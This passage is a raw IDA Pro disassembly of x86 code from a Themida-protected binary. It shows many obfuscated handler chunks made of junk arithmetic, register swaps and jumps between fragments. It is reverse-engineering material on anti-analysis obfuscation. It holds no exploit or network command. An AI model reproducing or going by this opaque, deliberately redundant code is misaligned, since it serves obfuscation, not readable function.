; END OF FUNCTION CHUNK FOR sub_572075
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5697F2
loc_571AE2: ; CODE XREF: sub_5697F2+3j
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_5697F2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564020
loc_571AE7: ; CODE XREF: sub_564020+F33Fj
not edx
add edx, 667C75CEh
add ebx, 63142728h
add ebx, edx
sub ebx, 63142728h
mov edx, [esp-4+arg_0]
jmp loc_56E360
; END OF FUNCTION CHUNK FOR sub_564020
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_571B05: ; CODE XREF: sub_56FA15-700Cj
add esp, 2
jmp loc_56F903
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_571B0D: ; CODE XREF: sub_5620B7+E8B5j
mov bh, 96h
not bh
not bh
sub bh, 0F2h
sub cl, 97h
add cl, 82h
sub cl, bh
sub cl, 82h
push ebx
mov bh, 97h
add cl, bh
pop ebx
pop ebx
xor dl, cl
pop ecx
and dl, 0ACh
sub dl, 8Dh
sub esp, 4
mov dword ptr [esp+0Eh+var_E], eax
jmp loc_570330
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_571B3F: ; CODE XREF: sub_561027+103C2j
push esi
mov esi, 6DBB0903h
shr esi, 6
xor esi, 31474559h
xor esi, 7BC4451Ch
push 387Eh
mov [esp+20h+var_20], esi
not [esp+20h+var_20]
pop esi
jmp loc_573270
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
loc_571B65: ; CODE XREF: Themida_:0056D767j
pop ebx
jmp loc_56785E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_571B6B: ; CODE XREF: sub_5605BC+80EDj
pop esp
push 6EC7h
jmp loc_56EC17
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A75
loc_571B76: ; CODE XREF: sub_569A75-8A0Fj
sub al, bh
mov bx, [esp+2+var_2]
jmp loc_5676FF
; END OF FUNCTION CHUNK FOR sub_569A75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_571B81: ; CODE XREF: sub_56FB8A-6EBDj
add ebp, edi
pop edi
add ebx, 671E3DCBh
jmp loc_5632B5
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5734A7
loc_571B8F: ; CODE XREF: sub_5734A7-12919j
neg edi
push edx
mov edx, 463E1E76h
shr edx, 2
jmp loc_5616BD
; END OF FUNCTION CHUNK FOR sub_5734A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569CBC
loc_571B9F: ; CODE XREF: sub_569CBC-9BA2j
mov [esp+4+var_4], eax
push [esp+4+var_4]
push [esp+8+var_8]
mov eax, [esp+0Ch+var_C]
push edi
jmp loc_565AA0
; END OF FUNCTION CHUNK FOR sub_569CBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_571BB1: ; CODE XREF: sub_57354D-116C9j
xor edx, eax
xor eax, edx
jmp loc_56A17B
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_571BBA: ; CODE XREF: sub_5605BC+B9B8j
or ebp, 4F0E03DDh
push ecx
jmp loc_56700B
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
loc_571BC6: ; CODE XREF: Themida_:00565870j
pop eax
xor ebx, eax
xor eax, ebx
xor ebx, eax
sub ebx, 8C43AEB4h
jmp loc_572B5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574000
loc_571BD8: ; CODE XREF: sub_574000-45F0j
xor eax, [esp+8+var_8]
pop esp
ror word ptr [esp+4+var_4], cl
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_574000
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569FB8
loc_571BE6: ; CODE XREF: sub_569FB8-9150j
mov [esp+2+var_2], bx
push 7FE6h
jmp loc_56AA8D
; END OF FUNCTION CHUNK FOR sub_569FB8
; ---------------------------------------------------------------------------
loc_571BF4: ; CODE XREF: Themida_:0057506Bj
pop edi
add [esp+4], edx
sub dword ptr [esp+4], 7B651958h
mov edx, [esp]
push esi
jmp loc_56E48A
; =============== S U B R O U T I N E =======================================
sub_571C0A proc near ; CODE XREF: sub_56B11B-4053j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005605CD SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00562FB3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005659A1 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00566BD8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00567D17 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056888C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00568F03 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005692C6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056EFF9 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0057125C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0057493F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00574BE1 SIZE 0000000A BYTES
push ebx
jmp loc_57493F
sub_571C0A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_571C10: ; CODE XREF: sub_57354D-840Fj
push ecx
mov ecx, esp
add ecx, 4
jmp loc_57118D
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F1DB
loc_571C1E: ; CODE XREF: sub_56F1DB-8296j
xchg eax, [esp+0]
pop esp
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+0]
jmp loc_56F4F2
; END OF FUNCTION CHUNK FOR sub_56F1DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_571C39: ; CODE XREF: sub_57354D-C085j
pop eax
xor eax, 47252180h
mov ebp, [esp+0]
push eax
push esp
jmp loc_5658C0
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_571C49: ; CODE XREF: sub_568E5C+6j
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
pop esi
add esi, 4
push ebp
mov ebp, 4
add esi, ebp
pop ebp
xor esi, [esp+0]
jmp loc_5707C4
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_571C68: ; CODE XREF: sub_564D26+35F5j
mov [esp+4+var_4], edi
mov edi, 1190E110h
jmp loc_56E39C
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C4FF
loc_571C75: ; CODE XREF: sub_56C4FF-57E9j
pop edx
push ecx
not [esp+8+var_8]
pop ecx
jmp loc_5688BF
; END OF FUNCTION CHUNK FOR sub_56C4FF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_571C80: ; CODE XREF: sub_574304-10996j
add esp, 4
jmp loc_571DA1
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_571C8B: ; CODE XREF: sub_574656-DDB9j
push esi
push esp
pop esi
jmp loc_568716
; END OF FUNCTION CHUNK FOR sub_574656
; =============== S U B R O U T I N E =======================================
sub_571C93 proc near ; CODE XREF: sub_560EA2+2583j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005601B6 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00561806 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005627E1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00565945 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00565CB0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056654C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005669A4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005697C0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00569EFB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056A1CA SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056AB0B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056B269 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0056B49F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056C9AD SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056F0A3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00570E14 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005727D1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00572A8F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005733AF SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00573A72 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00575229 SIZE 00000011 BYTES
sub esp, 4
mov [esp+4+var_4], edi
mov edi, 7A935DAFh
inc edi
jmp loc_5601B6
sub_571C93 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5713A7
loc_571CA7: ; CODE XREF: sub_5713A7-BC99j
add ebx, 622CAC5h
add edx, ebx
pop ebx
add edx, 31BA7CA0h
sub edx, 0E3036DEh
add edx, 46830E46h
jmp loc_566D1B
; END OF FUNCTION CHUNK FOR sub_5713A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_571CC7: ; CODE XREF: sub_565632+84E3j
and eax, ebp
mov ebp, [esp+0]
jmp loc_568776
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
loc_571CD1: ; CODE XREF: Themida_:00571998j
mov esi, 725C5459h
jmp loc_569639
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_571CDB: ; CODE XREF: sub_567D31-3BD3j
xor edi, [esp+4+var_4]
jmp loc_56C8E9
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A75
loc_571CE3: ; CODE XREF: sub_569A75+31CCj
push edx
mov dh, 0Ch
push ecx
mov cl, 40h
and cl, 59h
jmp loc_561CAC
; END OF FUNCTION CHUNK FOR sub_569A75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_571CF1: ; CODE XREF: sub_5678CB-AA8j
pop edx
inc al
not al
jmp loc_5703E6
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_571CFB: ; CODE XREF: sub_56FA15-3927j
push [esp+16h+var_14+2]
pop eax
pop [esp+16h+var_18+2]
jmp loc_562291
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572075
loc_571D08: ; CODE XREF: sub_572075+46j
add ebp, 4
sub ebp, 4
push ebp
push [esp+0Ch+var_8]
pop ebp
jmp loc_57509D
; END OF FUNCTION CHUNK FOR sub_572075
; ---------------------------------------------------------------------------
loc_571D1C: ; CODE XREF: Themida_:00569E90j
pop eax
push esi
push 3E640B0Fh
mov esi, [esp]
jmp loc_55FFA7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F3B2
loc_571D2B: ; CODE XREF: sub_56F3B2+4j
push eax
mov eax, esp
jmp loc_56C953
; END OF FUNCTION CHUNK FOR sub_56F3B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_571D33: ; CODE XREF: sub_5620B7+C387j
pop esi
add esp, 4
xchg eax, edx
xchg eax, ebx
xchg edi, ebx
jmp loc_56989A
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_571D43: ; CODE XREF: sub_568E5C+BFE5j
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+4+var_4]
jmp loc_564894
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563819
loc_571D5A: ; CODE XREF: sub_563819+D1FDj
push edi
push ebx
mov ebx, 117C5E6Ah
mov edi, 117C5E6Eh
jmp loc_568E23
; END OF FUNCTION CHUNK FOR sub_563819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_571D6B: ; CODE XREF: sub_561541-307j
mov edx, 672F0506h
add ecx, edx
pop edx
mov eax, [esp+4+var_4]
add esp, 4
push 5D9Ch
mov [esp+4+var_4], ebx
push 40h
push [esp+8+var_8]
jmp loc_560C2D
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB51
loc_571D8E: ; CODE XREF: sub_56AB51+A8CAj
xor eax, [esp+14h+var_14]
mov esp, [esp+14h+var_14]
jmp loc_5658E4
; END OF FUNCTION CHUNK FOR sub_56AB51
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_571D99: ; CODE XREF: sub_5678CB-4B99j
mov esi, [esp]
jmp loc_562CF0
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_571DA1: ; CODE XREF: sub_574304-267Ej
xor ecx, 20D24751h
push [esp+8+var_8]
mov esi, [esp+0Ch+var_C]
add esp, 4
add esp, 4
jmp loc_5633F7
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E81
loc_571DBB: ; CODE XREF: sub_570E81-652j
sub [esp+4+arg_0], 3DF066B1h
jmp loc_567A0F
; ---------------------------------------------------------------------------
loc_571DC8: ; CODE XREF: sub_570E81-4213j
add ebp, 3536057Dh
mov edx, [esp+0Ch+var_C]
jmp loc_56240B
; END OF FUNCTION CHUNK FOR sub_570E81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5716F1
loc_571DD6: ; CODE XREF: sub_5716F1+EC5j
pop eax
mov ebp, edi
pop edi
sub [esp-8+arg_8], ebp
pop ebp
pop dword ptr [edi+24h]
; END OF FUNCTION CHUNK FOR sub_5716F1
; START OF FUNCTION CHUNK FOR sub_56D4B8
loc_571DE2: ; CODE XREF: sub_56D4B8+35B8j
push 63DDh
mov [esp-8+arg_4], ecx
push ebx
pop ecx
jmp loc_56495E
; END OF FUNCTION CHUNK FOR sub_56D4B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5684A6
loc_571DF1: ; CODE XREF: sub_5684A6+530Dj
shl edx, 5
push edi
mov edi, 0FDFDE004h
add edx, edi
pop edi
jmp loc_56E8D6
; END OF FUNCTION CHUNK FOR sub_5684A6
; ---------------------------------------------------------------------------
loc_571E02: ; CODE XREF: Themida_:00563A61j
push edi
mov edi, 4
jmp loc_561840
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DA43
loc_571E0D: ; CODE XREF: sub_56DA43-ABCAj
mov [esp+4+var_4], esi
push 7E34h
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
push [esp+8+var_8]
mov esi, [esp+0Ch+var_C]
add esp, 4
sub esp, 4
mov [esp+0Ch+var_C], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
jmp loc_560E35
; END OF FUNCTION CHUNK FOR sub_56DA43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575420
loc_571E44: ; CODE XREF: sub_575420-108ADj
sub al, bh
push ecx
mov cl, 58h
shl cl, 7
jmp loc_564DE6
; END OF FUNCTION CHUNK FOR sub_575420
; ---------------------------------------------------------------------------
loc_571E51: ; CODE XREF: Themida_:0056166Dj
pop esp
add edx, edi
jmp loc_57433D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565849
loc_571E59: ; CODE XREF: sub_565849+ED10j
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp+8+var_8]
jmp loc_561AAC
; END OF FUNCTION CHUNK FOR sub_565849
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574949
loc_571E6E: ; CODE XREF: sub_574949-B688j
mov edi, esp
jmp loc_562847
; END OF FUNCTION CHUNK FOR sub_574949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_571E75: ; CODE XREF: sub_561418+13DCDj
xor ebp, [esp+18h+var_18]
xor [esp+18h+var_18], ebp
xor ebp, [esp+18h+var_18]
mov esp, [esp+18h+var_18]
push 3C38h
mov [esp+1Ch+var_1C], ebp
dec [esp+1Ch+var_1C]
jmp loc_56EE4E
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D69D
loc_571E91: ; CODE XREF: sub_56D69D-8076j
sub esi, 366B6D38h
push ebx
mov ebx, 25611359h
shr ebx, 7
shl ebx, 3
inc ebx
xor ebx, 0B32E7FDDh
add esi, ebx
pop ebx
push ecx
jmp sub_56513E
; END OF FUNCTION CHUNK FOR sub_56D69D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56ABD0
loc_571EB3: ; CODE XREF: sub_56ABD0+8236j
sub esi, 0E7FA5625h
xor esi, 19867FFBh
sub esi, 429967D8h
add edx, 4525C76h
sub edx, esi
sub edx, 4525C76h
pop esi
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56ABD0
; ---------------------------------------------------------------------------
loc_571ED9: ; CODE XREF: Themida_:0057433Ej
add edx, 2
jmp loc_5688FD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_571EE1: ; CODE XREF: sub_57354D-EE24j
pop ebp
or eax, eax
jz sub_565A8D
push dword ptr [edi+1Ch]
jmp loc_572F04
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_571EF2: ; CODE XREF: sub_5685B2+3A71j
push [esp+4+var_4]
pop ebx
add esp, 4
sub edx, 4
push 3F9Bh
mov [esp+4+var_4], edx
jmp loc_5745DD
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568764
loc_571F0F: ; CODE XREF: sub_568764-5452j
add edx, ebx
push eax
mov eax, 3962073Bh
sub edx, 51510B1h
jmp loc_56A53C
; END OF FUNCTION CHUNK FOR sub_568764
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_571F22: ; CODE XREF: sub_56FB8A-B7D0j
add ebx, esi
push [esp+4+var_4]
pop esi
add esp, 4
add ebx, 0F6F4F66h
sub ebx, eax
jmp loc_56AC07
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563207
loc_571F38: ; CODE XREF: sub_563207+AC88j
mov [esp+0Ch+var_C], ebp
mov ebp, 2B0B6B17h
jmp loc_565971
; END OF FUNCTION CHUNK FOR sub_563207
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_571F45: ; CODE XREF: sub_561541+ABF8j
shl edx, 4
sub edx, 362AE4E1h
add eax, edx
mov edx, [esp+0Ch+var_C]
add esp, 4
and eax, 8427803h
add eax, 0FFFFB801h
jmp loc_57163E
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565B6E
loc_571F68: ; CODE XREF: sub_565B6E+B229j
add eax, ebx
jmp loc_56F649
; END OF FUNCTION CHUNK FOR sub_565B6E
; =============== S U B R O U T I N E =======================================
sub_571F6F proc near ; CODE XREF: sub_56A7FB+1184j
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_E = dword ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005609AC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00560DE1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00561DFD SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005625EE SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00562CFB SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0056382C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005641A4 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056625B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005666FF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005667C4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005669DB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00566C11 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005671FF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00567234 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00567EAC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00569006 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00569DDE SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0056A688 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A874 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056BB08 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056DC53 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056DE94 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056EF3A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056EFBA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056F0E2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0057002C SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0057055F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057060E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00570BEC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00570D2E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00570E67 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00570EA7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005711E7 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 00572287 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005725BB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00572628 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00572750 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00572A65 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005742BB SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005747F3 SIZE 00000007 BYTES
sub esp, 4
jmp loc_57055F
sub_571F6F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569DB5
loc_571F7A: ; CODE XREF: sub_569DB5+9j
mov [esp+4+var_4], ecx
jmp loc_571466
; END OF FUNCTION CHUNK FOR sub_569DB5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_571F82: ; CODE XREF: sub_5685B2-55EAj
push [esp-10h+arg_C]
jmp loc_566D22
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56264C
loc_571F8A: ; CODE XREF: sub_56264C+C2EBj
pop ebx
push ecx
push esp
jmp loc_57519D
; END OF FUNCTION CHUNK FOR sub_56264C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_571F92: ; CODE XREF: sub_57146D-2188j
mov bh, cl
pop ecx
pop edx
pop ecx
mov dx, word ptr [esp+8+var_8]
add esp, 2
jmp loc_5602FC
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_571FA6: ; CODE XREF: sub_57549C-59C6j
xor ebp, esi
jmp loc_56235A
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564BC5
loc_571FAD: ; CODE XREF: sub_564BC5+939Bj
mov [esp+0Ch+var_C], ecx
jmp loc_56AE8B
; END OF FUNCTION CHUNK FOR sub_564BC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_571FB5: ; CODE XREF: sub_571088-69CFj
push dword ptr [edi+eax*4]
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_571FBD: ; CODE XREF: sub_565632+7E10j
push edi
sub dword ptr [esp+0], 1
mov edi, [esp+0]
jmp loc_56B6DD
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_571FCA: ; CODE XREF: sub_57146D-32DDj
mov cl, 13h
add al, cl
mov cx, word ptr [esp+0Eh+var_10+2]
jmp loc_56EEB3
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572DD7
loc_571FD7: ; CODE XREF: sub_572DD7-CE11j
sub [esp+4], edx
pop edx
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_572DD7
; ---------------------------------------------------------------------------
loc_571FE1: ; CODE XREF: Themida_:0056226Aj
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
mov dx, [esp]
jmp loc_56CB29
; ---------------------------------------------------------------------------
loc_571FF4: ; CODE XREF: Themida_:0056A3E3j
push dword ptr [esp]
pop edi
add esp, 4
push eax
mov eax, 59347368h
dec eax
sub eax, 59347363h
add edi, eax
pop eax
jmp loc_56A0F5
; ---------------------------------------------------------------------------
loc_572012: ; CODE XREF: Themida_:00571507j
xor edi, 55D7FFBAh
sub ebx, 376552A4h
jmp loc_56F9C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_572023: ; CODE XREF: sub_561418+660Aj
mov edx, [esp+0]
push 49ECh
mov [esp+4+var_4], ecx
push esp
pop ecx
push edx
push ecx
mov ecx, 36AF4089h
xor ecx, 506E7B25h
not ecx
jmp loc_5633AC
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_572044: ; CODE XREF: sub_56616D+3A68j
xchg ecx, [esp-10h+arg_C]
pop esp
push ecx
mov ecx, 663F3C2Eh
push ecx
jmp loc_57524C
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568CD2
loc_572054: ; CODE XREF: sub_568CD2-1EFCj
sub ecx, 4
xor ecx, [esp+0]
xor [esp+0], ecx
xor ecx, [esp+0]
jmp loc_571660
; END OF FUNCTION CHUNK FOR sub_568CD2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5713A7
loc_572065: ; CODE XREF: sub_5713A7-1968j
dec ecx
not ecx
xor ecx, 0BFCEFA26h
sub ebx, ecx
jmp loc_5697C7
; END OF FUNCTION CHUNK FOR sub_5713A7
; =============== S U B R O U T I N E =======================================
sub_572075 proc near ; DATA XREF: Themida_:0055FCF4o
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00561910 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056269D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00562986 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056346B SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00564B88 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056653B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566B9C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00568D4C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056996F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00569C2F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056AD76 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056BA91 SIZE 0000006B BYTES
; FUNCTION CHUNK AT 0056BFFB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056C677 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056D26E SIZE 0000003D BYTES
; FUNCTION CHUNK AT 0056FB7B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056FDBA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00571ADA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00571D08 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005720C0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00572C60 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0057509D SIZE 00000035 BYTES
push dword ptr [esp+0]
push [esp+4+var_4]
pop ecx
add esp, 4
